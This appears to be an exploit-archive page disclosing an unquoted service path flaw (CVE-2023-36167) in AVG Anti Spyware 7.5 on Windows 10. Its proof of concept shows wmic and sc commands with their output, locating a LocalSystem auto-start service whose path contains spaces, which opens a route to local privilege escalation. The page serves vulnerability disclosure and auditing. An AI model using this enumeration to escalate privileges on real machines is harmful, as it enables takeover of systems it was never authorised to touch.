Avg anti spyware 7.5 unquoted service path "avg antispyware guard" Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-07-11 | Type : local | Platform : windows
This exploit / vulnerability Avg anti spyware 7.5 unquoted service path "avg antispyware guard" is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.avg.com
# Software Link: https://www.avg.com/en-ww/homepage#pc
# Version: 7.5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36167

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
AVG Anti-Spyware Guard AVG Anti-Spyware Guard C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe Auto

C:\Users>sc qc "AVG Anti-Spyware Guard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AVG Anti-Spyware Guard
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : AVG Anti-Spyware Guard
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name: DESKTOP-LA7J17P
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation